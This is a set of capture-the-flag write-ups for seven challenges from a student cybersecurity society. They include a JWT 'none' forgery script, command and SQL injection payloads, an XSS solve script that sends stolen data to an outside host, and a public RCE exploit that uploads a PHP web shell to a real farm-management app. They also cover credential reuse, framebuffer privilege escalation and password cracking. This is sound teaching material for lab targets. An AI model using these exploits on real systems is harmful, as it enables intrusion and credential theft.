Here are the write ups for the 7 challenges I made for the 2024 Intake CTF for Warwick Cyber Security Society.
Source code for all these challenges (except Ssytems) is available on my github here https://github.com/TomSteer1/CTF-Challenges

Table of Contents Link to heading

Just Walking Through - Web Link to heading

JWT Challenge
The title for this challenge was a hint to the solution. JWTs are made up of 3 parts. The header, the payload and the signature. Inside the header we can specify an algorithm. The solution for this challenge is to set the algorithm to none and set the user to admin. This could be achieved with the following script for example.

import jwt
import requests
import argparse

payload = {"user": "admin"}

parser = argparse.ArgumentParser()
parser.add_argument("--host", help="Server host")
args = parser.parse_args()

host = args.host or "http://localhost:500"

# Generate a token with none algorithm
token = jwt.encode(payload, key=None, algorithm=None)

# Send the token to the server
cookies = {"token": token}
req = requests.get(f"{host}/secrets", cookies=cookies)
print(req.text)

The Classics - Web Link to heading

The Classics
This challenge was designed to use some classic web vulnerabilities. When visiting the web page you are presented with the following.
The Classics Home
Typical web enumeration involves looking at the robots.txt file which can be used to outline what a search engine is allowed to index. Requesting the robots file shows a backups endpoint

User-agent: *
Disallow: /backups

The backups endpoint is a directory listing containing a note for Dave.
The Classics Backup Dir
The note for Dave contains the following:

Hey Dave,

Now this server is publically I have removed the backups from this folder.
I also gave you some new credentials for the app.
dave:SecurePassword_2024!
Remove this file once you have used these credentials

George

Using these credentials we can log into the application and are given an admin portal
The Classics Admin
The ping command is a classic example of command injection and by using this feature we can run our own commands. By adding ; followed by a command the server will execute both the ping command and our command. By running ; ls we can get the directory output of the current directory.
The Classics LS
And then by running ; cat /flag.txt we can get the flag
The Classics Flag

Society Bank - Web Link to heading

Society Bank was the hardest web challenge I made for IntakeCTF. The challenge was unfortunately unsolved but a couple people came very close to solving it.
Society Bank
We are given the full source code for the app and from the supervisord config we can see there are 4 apps running. (bank, admin, bot, nginx).
The presence of the bot app gives us a clue that the challenge involves some form of XSS.
To start this challenge we need to add societybank.intake to our /etc/hosts file.
Navigating to the web page we are presented with the following.
Society Bank Home
If we register an account we are asked to upload an ID photo. Once an account has been registered and we can log in and are presented with the following message.
Society Bank Error
From reading the source code we can see the bot is ran every minute to approve new accounts. (See bot/app.js)
Once our account has been approved we are presented with our account page where we can make a deposit or withdrawal where we are asked for an amount and a message.
Society Bank User Page
Society Bank Withdraw
To test this locally we can run the app and log into the admin panel at admin.societybank.intake with the test credentials in the code and add a test XSS payload.
Society Bank Admin
Viewing the source code tells us there is a route in the admin application called /uploads

app.get('/uploads', isAuthenticated, (req, res) => {
    const username = req.query.username;
    const sql = 'SELECT * FROM bank_users WHERE username = ?';
    db.get(sql, [username], (err, row) => {
        if (err) {
            console.error(err.message);
            return res.send('An error occurred');
        }
        if (!row) {
            return res.send('Error user not found');
        }
        const filePath = row.id_file;
        if (!filePath) {
            return res.send('Error' + username + ' has not uploaded an ID');
        }
        const path = require('path');
        const normalizedPath = path.normalize("/tmp/files/" + username + "/" + filePath);
        console.log('Normalized path: ' + normalizedPath);
        res.sendFile(normalizedPath);
    });
});

This takes the parameter username and returns the file uploaded in their registration. To exploit this we can register a user with the username ../../../../../ and a file name of flag.txt. Once the account is approved we can create a XSS payload that makes a request to the uploads endpoint and forwards the data to our own server. We can’t just pull the cookie out of the admin’s session as it is set to http only. This results in the following solve script.

#!/usr/bin/env python3
import requests
import time
import http.server
import base64

url = 'http://societybank.intake:32233'

username = "../../../../"
password = "password"

def make_account():
    # Send a post request with username , password and file
    data = {'username': username, 'password': password}
    files = {'id_file': open('flag.txt', 'rb')}
    r = requests.post(url + '/register', data=data, files=files)
    print(r.status_code)


def login():
    headers = {'Content-Type': 'application/x-www-form-urlencoded'}
    r = requests.post(url + '/login', data={'username': username, 'password': password}, headers=headers,allow_redirects=False)
    if 'Account not approved' in r.text:
        return
    # Get session cookies
    return r.cookies

def sendXSS(cookies):
    # Send a post request with the xss payload
    data = {'message': '<script src="http://10.8.0.2:8081/exploit.js"></script>', 'amount': 10}
    headers = {'Content-Type': 'application/x-www-form-urlencoded'}
    r = requests.post(url + '/deposit', data=data, cookies=cookies, headers=headers)
    print(r.status_code)


def handler(*args):
    # Handle the request to serve the exploit.js file as well as the response
    class MyHandler(http.server.SimpleHTTPRequestHandler):
        def do_GET(self):
            if self.path == '/exploit.js':
                self.send_response(200)
                self.send_header('Content-type', 'text/javascript')
                self.end_headers()
                with open('exploit.js', 'rb') as f:
                    self.wfile.write(f.read())
            else:
                # Get the flag from the path
                path = self.path.split('/')[1]
                print(path)
                # Base 64 decode the flag
                flag = base64.b64decode(path).decode()
                if 'Intake' in flag:
                    print("Flag: ", flag)
                    exit(0)
                self.send_response(200)
                self.send_header('Content-type', 'text/html')
                self.end_headers()
                self.wfile.write(b'ty for the flag')
    return MyHandler(*args)

def start_server():
    # Start a local server to serve the exploit.js file
    with http.server.HTTPServer(('', 8081), handler) as httpd:
        print("serving at port", 8081)
        httpd.serve_forever()
    
# Start server as a separate thread
import threading
t = threading.Thread(target=start_server)
t.start()

cookies = login()
if cookies:
    # Start a local server to serve the exploit.js file
    print('Sending XSS')
    sendXSS(cookies)
else:
    print('Making account')
    make_account()
    # Wait for the bot to approve the account
    time.sleep(80)
    cookies = login()
    if cookies:
        # Start a local server to serve the exploit.js file
        print('Sending XSS')
        sendXSS(cookies)
    else:
        print('Account not approved yet')

We also need to create the exploit.js file in the same directory

document.addEventListener('DOMContentLoaded', function() {
    fetch('http://localhost:3000/uploads?username=../../../../', {mode: 'no-cors'}).then(response => response.text()).then(data => {
        // Base64 encode the response
        b64data = btoa(data);
        fetch('http://10.8.0.2:8081/' + b64data, {mode: 'no-cors'});

    })
});

Running the solve script will create a user with the vulnerable id file and then creates the XSS script and starts a listening server.

% python solve.py                  
serving at port 8081
Making account
200
Sending XSS
200
172.22.22.22 - - [10/Oct/2024 12:11:40] "GET /exploit.js HTTP/1.1" 200 -
SW50YWtlMjR7RjFsM19JbmNsdTVzaW9uXzFzX2wwdjN9
Flag:  Intake24{####}

Cubes - Misc Link to heading

Cubes
Cubes is a challenge where you get given a Minecraft save file containing a room with the floor made of shulkers.
Cubes Screenshot
Inside every shulker was a bunch of random items surrounding a book containing seemingly random text. Every pink shulker box contained a book with a golden item name on the last page with a unique generation. Every minecraft item as a numerical ID so the intended solution for this challenge was to

  • Pull every gold item name from the books
  • Convert the item names to item IDs
  • Convert the numeric values to ASCII characters
  • Order the ASCII characters by the generation of the book The solve script I made to do this is as follows
import anvil
import nbt
from items import *
import json
import base64

copiedRegion = anvil.EmptyRegion(0, 0)

region = anvil.Region.from_file('r.0.0.mca')

tags = [[None for x in range(256)] for y in range(256)]
solution = ["" for x in range(100)]


for cX in range(16):
    for cY in range(16):
        chunk = region.get_chunk(cX, cY)
        te = chunk.tile_entities
        for tag in te:
            if 'minecraft:shulker_box' in tag['id']:
                x = tag['x'].value
                z = tag['z'].value
                tags[x][z] = tag


        for x in range(16):
            for z in range(16):
                blockX = cX*16 + x
                blockZ = cY*16 + z
                block = chunk.get_block(x, 2, z)
                if block.id == 'pink_shulker_box':
                    shulkerItems = tags[blockX][blockZ]['Items']
                    for item in shulkerItems:
                        if item['Slot'].value == 13:
                            itemTags = item['tag']
                            gen = itemTags['generation'].value
                            pages = itemTags['pages']
                            for page in pages:
                                # Parse json from page
                                pageText = json.loads(page.value)
                                if pageText['color'] == 'gold':
                                    solution[gen] = pageText['text']
                                    break


flag = ""
for s in solution:
    if s != "":
        for i in allGameItems:
            if i.displayName == s:
                flag += chr(i.id)
                break

print(flag)
print(base64.b64decode(flag).decode())

I will admit this one was a very random challenge and is probably why no one ended up solving it.

Farmer - Full Pwn Link to heading

For this challenge I wanted to make a boot2root machine. https://tryhackme.com/r/room/intakectffarmer-jNWQwgU1 To begin this machine we first nmap the target IP.

┌──(kali㉿kali)-[~]
└─$ nmap 10.10.242.120
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-10 03:00 BST
Nmap scan report for 10.10.242.120
Host is up (0.095s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 2.41 seconds

Foothold Link to heading

We find that there is a SSH service and web service running. Accessing the web service we are given this page.
Farmer Foothold
In the source view of the app we are given a link to the source code for the app suggesting the app is called poultry-farm-management-system and by googling for vulnerabilities in the app we find CVE-2024-40110 giving us RCE in the app.
Using the script from https://www.exploit-db.com/exploits/52053 we can obtain RCE on the box with minor modifications to the script

# Exploit Title: Poultry Farm Management System v1.0 - Remote Code Execution (RCE)
# Date: 24-06-2024
# CVE: N/A (Awaiting ID to be assigned)
# Exploit Author: Jerry Thomas (w3bn00b3r)
# Vendor Homepage: https://www.sourcecodester.com/php/15230/poultry-farm-management-system-free-download.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/Redcock-Farm.zip
# Github - https://github.com/w3bn00b3r/Unauthenticated-Remote-Code-Execution-RCE---Poultry-Farm-Management-System-v1.0/
# Category: Web Application
# Version: 1.0
# Tested on: Windows 10 | Xampp v3.3.0
# Vulnerable endpoint: http://localhost/farm/product.php

import requests
from colorama import Fore, Style, init
import sys

# Initialize colorama
init(autoreset=True)

def upload_backdoor(target):
    upload_url = f"{target}/product.php"
    shell_url = f"{target}/assets/img/productimages/web-backdoor.php"

    # Prepare the payload
    payload = {
        'category': 'CHICKEN',
        'product': 'rce',
        'price': '100',
        'save': ''
    }

    # PHP code to be uploaded
    command = sys.argv[2]
    data = f"<?php system('{command}');?>"

    # Prepare the file data
    files = {
        'productimage': ('web-backdoor.php', data, 'application/x-php')
    }

    try:
        print("Sending POST request to:", upload_url)
        response = requests.post(upload_url, files=files, data=payload,verify=False)

        if response.status_code == 200:
            print("\nResponse status code:", response.status_code)
            print(f"Shell has been uploaded successfully: {shell_url}")

            # Make a GET request to the shell URL to execute the command
            shell_response = requests.get(shell_url, verify=False)
            print("Command output:", Fore.GREEN +shell_response.text.strip())
        else:
            print(f"Failed to upload shell. Status code:{response.status_code}")
            print("Response content:", response.text)
    except requests.RequestException as e:
        print(f"An error occurred: {e}")

if __name__ == "__main__":
    print("Sending " + sys.argv[2] + " to " + sys.argv[1])
    target = sys.argv[1]  # Change this to your target
    upload_backdoor(target)

User Link to heading

From here we can dump /etc/psaswd as well as search around the file system for privilege escalation methods.

┌──(kalikali)-[~/Downloads]
└─$ python 52053.py http://10.10.242.120 "cat /etc/passwd"            
Sending cat /etc/passwd to http://10.10.242.120
Sending POST request to: http://10.10.242.120/product.php

Response status code: 200
Shell has been uploaded successfully: http://10.10.242.120/assets/img/productimages/web-backdoor.php
Command output: root:x:0:0:root:/root:/bin/bash
[SNIP]
intern:x:1000:1000:intern:/home/intern:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false
┌──(kalikali)-[~/Downloads]
└─$ python 52053.py http://10.10.242.120 "cat ../../../includes/dbconnection.php "
Sending cat ../../../includes/dbconnection.php  to http://10.10.242.120
Sending POST request to: http://10.10.242.120/product.php

Response status code: 200
Shell has been uploaded successfully: http://10.10.242.120/assets/img/productimages/web-backdoor.php
Command output: <?php 
// DB credentials.
define('DB_HOST','localhost');
define('DB_USER','farm');
define('DB_PASS','KxtYThkWpF6yEnL7pAUv');
define('DB_NAME','farm');
// Establish database connection.
try
{
$dbh = new PDO("mysql:host=".DB_HOST.";dbname=".DB_NAME,DB_USER, DB_PASS,array(PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES 'utf8'"));
}
catch (PDOException $e)
{
exit("Error: " . $e->getMessage());
}
$con=mysqli_connect("localhost", DB_USER, DB_PASS, "farm");
if(mysqli_connect_errno()){
echo "Connection Fail".mysqli_connect_error();
}
?>

This tells us there is a user called intern and also gives us the database credentials. Just to see if there is credential reuse we try to log in as intern with the database password. We successfully have logged in as the user and can get the user flag

┌──(kali㉿kali)-[~/Downloads]
└─$ ssh intern@10.10.242.120               
The authenticity of host '10.10.242.120 (10.10.242.120)' can't be established.
ED25519 key fingerprint is SHA256:mZLWsJNs2WzwAKGpgGRQDhyNFjbW+Tc/6lO6ecgTr18.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:39: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.242.120' (ED25519) to the list of known hosts.
intern@10.10.242.120's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-144-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

 System information disabled due to load higher than 1.0


 * Introducing Expanded Security Maintenance for Applications.
   Receive updates to over 25,000 software packages with your
   Ubuntu Pro subscription. Free for personal use.

     https://ubuntu.com/pro

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Wed Aug 21 19:20:29 2024 from 172.16.47.1
intern@mainframe:~$ cat user.txt 
Intake24{########}
intern@mainframe:~$ 

Root Link to heading

Checking our user groups with the id command reveals we are part of the video group

intern@mainframe:~$ id
uid=1000(intern) gid=1000(intern) groups=1000(intern),44(video)

There is a video group page on hacktricks https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe#video-group and we are going to follow the steps to extract the tty

intern@mainframe:~$ w
 02:19:45 up 23 min,  2 users,  load average: 1.27, 1.80, 1.62
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
root     tty1     -                01:57   23:40   0.61s  0.46s -bash
intern   pts/0    10.21.33.235     02:17    0.00s  0.48s  0.07s w
intern@mainframe:~$ cat /dev/fb0 > /tmp/screen.raw
intern@mainframe:~$ cat /sys/class/graphics/fb0/virtual_size
1024,768

Loading the raw screen file into GIMP gives us the following screenshot.
Farmer Root
We can then use su logged in as the intern to gain access to root with the password and obtain the flag.

intern@mainframe:~$ su root
Password: 
root@mainframe:/home/intern# cat /root/root.txt 
Intake24{########}

Robots - Misc Link to heading

Robots
For this challenge we are given an APK file
There are 2 methods to solve this challenge.

Decompilation Link to heading

Using a tool such as jadx orBytecode Viewer we can view a decompiled version of the application.
Robots Decompiled In this source code we can see the login function and notice it adds a user agent. We can replicate this web request using curl. curl http://<url>/login -H "User-Agent: robots/1.0" -d "username=test&password=test" Using incorrect credentials we are given a 401

< HTTP/2 401 
< server: nginx/1.27.1
< date: Thu, 10 Oct 2024 10:13:29 GMT
< content-type: text/html; charset=utf-8
< content-length: 0
< etag: W/"0-2jmj7l5rSw0yVb/vlWAYkK/YBwk"
< x-powered-by: Express
< 
* Connection #0 to host 6de3872o-robots-web.chall.warwickcybersoc.com left intact

We can attempt SQL injection on the login fields using a payload such as username=a' or 1=1;-- &password=test In this case we are given a token

* upload completely sent off: 36 bytes
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
< HTTP/2 200 
< server: nginx/1.27.1
< date: Thu, 10 Oct 2024 10:15:02 GMT
< content-type: text/html; charset=utf-8
< content-length: 32
< etag: W/"20-gJc3l3EEHnQPDNgeHISGeZVlnHk"
< x-powered-by: Express
< 
* Connection #0 to host 6de3872o-robots-web.chall.warwickcybersoc.com left intact
edbbbcbec8288259865c47e9d531a3e9% 

In the MainActivity we have a function that makes a request to /decryptFlag
Robots Decrypt
This uses an encrypted flag that is extracted from a function in an external C library. We can retrieve this from the library using apktool to decompile the application and then run strings on the library to extract the string.

┌──(kali㉿kali)-[~/Robots]
└─$ apktool d robots.apk 
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I: Using Apktool 2.7.0-dirty on robots.apk
I: Loading resource table...
<SNIP>
I: Copying original files...
I: Copying META-INF/services directory
<snip>
┌──(kali㉿kali)-[~/Robots/robots/lib/x86_64]
└─$ strings librobots.so                  
Android
r26b
<SNIP>
04af76e1fbb964d6bcf18c3fead9b5ace3d1cc04f2b193ebdb27ecc91040be4b4a5f1ab327083a4dfb9f7f4809da9e3d
<SNIP>
.rodata

Using the encrypted flag and our token we can retrieve the flag

% curl https://6de3872o-robots-web.chall.warwickcybersoc.com/decryptFlag -H "User-Agent: robots/1.0" -H "Authorization: Bearer edbbbcbec8288259865c47e9d531a3e9" -d "encryptedFlag=04af76e1fbb964d6bcf18c3fead9b5ace3d1cc04f2b193ebdb27ecc91040be4b4a5f1ab327083a4dfb9f7f4809da9e3d"
Intake24{#######}%

Interception Link to heading

The easier route to complete this challenge would be to run the app itself. This could be done on a physical device or using an emulator in a program such as Android Studio. From here we can perform the SQL injection directly into the login fields
Robots Login
And then we can press decrypt and retrieve the flag
Robots Flag

Security - Forensics Link to heading

Security
For this challenge we are given a img file of a drive and a picture of a pinboard Running df on the img file tells us it is a cryptlvm partition
Security DF
Security Board
We notice there are lots of different coloured pins so can create a script to generate possible passphrases

#!/usr/bin/env python3

red = ['Canada', 'Brooklyn', 'Lisbon']
blue = ['Tuscany', 'Utah', 'Seoul']
green = ['Istanbul', 'Berlin', 'Poland']
yellow = ['Amsterdam', 'Madrid', 'Pandora']

def passwords(colour):
    # Print all combinations of the 3 words in the list
    for i in range(len(colour)):
        for j in range(len(colour)):
            for k in range(len(colour)):
                if i != j and j != k and i != k:
                    print(colour[i], colour[j], colour[k])

passwords(red)
passwords(blue)
passwords(green)
passwords(yellow)

To mount the image file we first need to create a loop device with sudo losetup /dev/loop0 drive.img and then mount the volume with cryptsetup.
We can script trying all the passwords with the following script:

#!/usr/bin/env bash
while read -r line; do
                echo "Trying password: $line"
                echo "$line" | sudo cryptsetup luksOpen /dev/loop0p3 mount
                if [ $? -eq 0 ]; then
                                echo "Password found: $line"
                                break
                fi
done < possiblePasswords.txt

Running the python script and test script finds the password and decrypts the volume

┌──(kali㉿kali)-[~]
└─$ python createPasswords.py > possiblePasswords.txt

┌──(kali㉿kali)-[~]
└─$ sh try.sh
Trying password: Canada Brooklyn Lisbon
No key available with this passphrase.
<SNIP>
Trying password: Istanbul Berlin Poland
No key available with this passphrase.
Trying password: Istanbul Poland Berlin
Password found: Istanbul Poland Berlin

We can then mount the volume

┌──(kali㉿kali)-[~/mount]
└─$ lsblk
NAME                        MAJ:MIN RM  SIZE RO TYPE  MOUNTPOINTS
loop0                         7:0    0   10G  0 loop
├─loop0p1                   259:0    0    1M  0 part
├─loop0p2                   259:1    0  1.8G  0 part
└─loop0p3                   259:2    0  8.2G  0 part
  └─mount                   253:0    0  8.2G  0 crypt
    └─ubuntu--vg-ubuntu--lv 253:1    0  8.2G  0 lvm
vda                         254:0    0 80.1G  0 disk
└─vda1                      254:1    0 80.1G  0 part  /

┌──(kali㉿kali)-[~]
└─$ sudo mount /dev/ubuntu-vg/ubuntu-lv mount

After searching around the file system we find a file /home/tom/.keepass/Database.kbdx

┌──(kali㉿kali)-[~/mount/home/tom/.keepass]
└─$ file Database.kdbx
Database.kdbx: Keepass password database 2.x KDBX

We can then use keepass2john to crack the encyption password

┌──(kali㉿kali)-[~/mount/home/tom/.keepass]
└─$ keepass2john Database.kdbx > hash

┌──(kali㉿kali)-[~/mount/home/tom/.keepass]
└─$ john -w=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 60000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
hellokitty       (Database)
1g 0:00:00:00 DONE (2024-10-10 12:52) 1.052g/s 235.7p/s 235.7c/s 235.7C/s pamela..horses
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Loading the keepass file we can retrieve the google password and gives us the flag.
Security Flag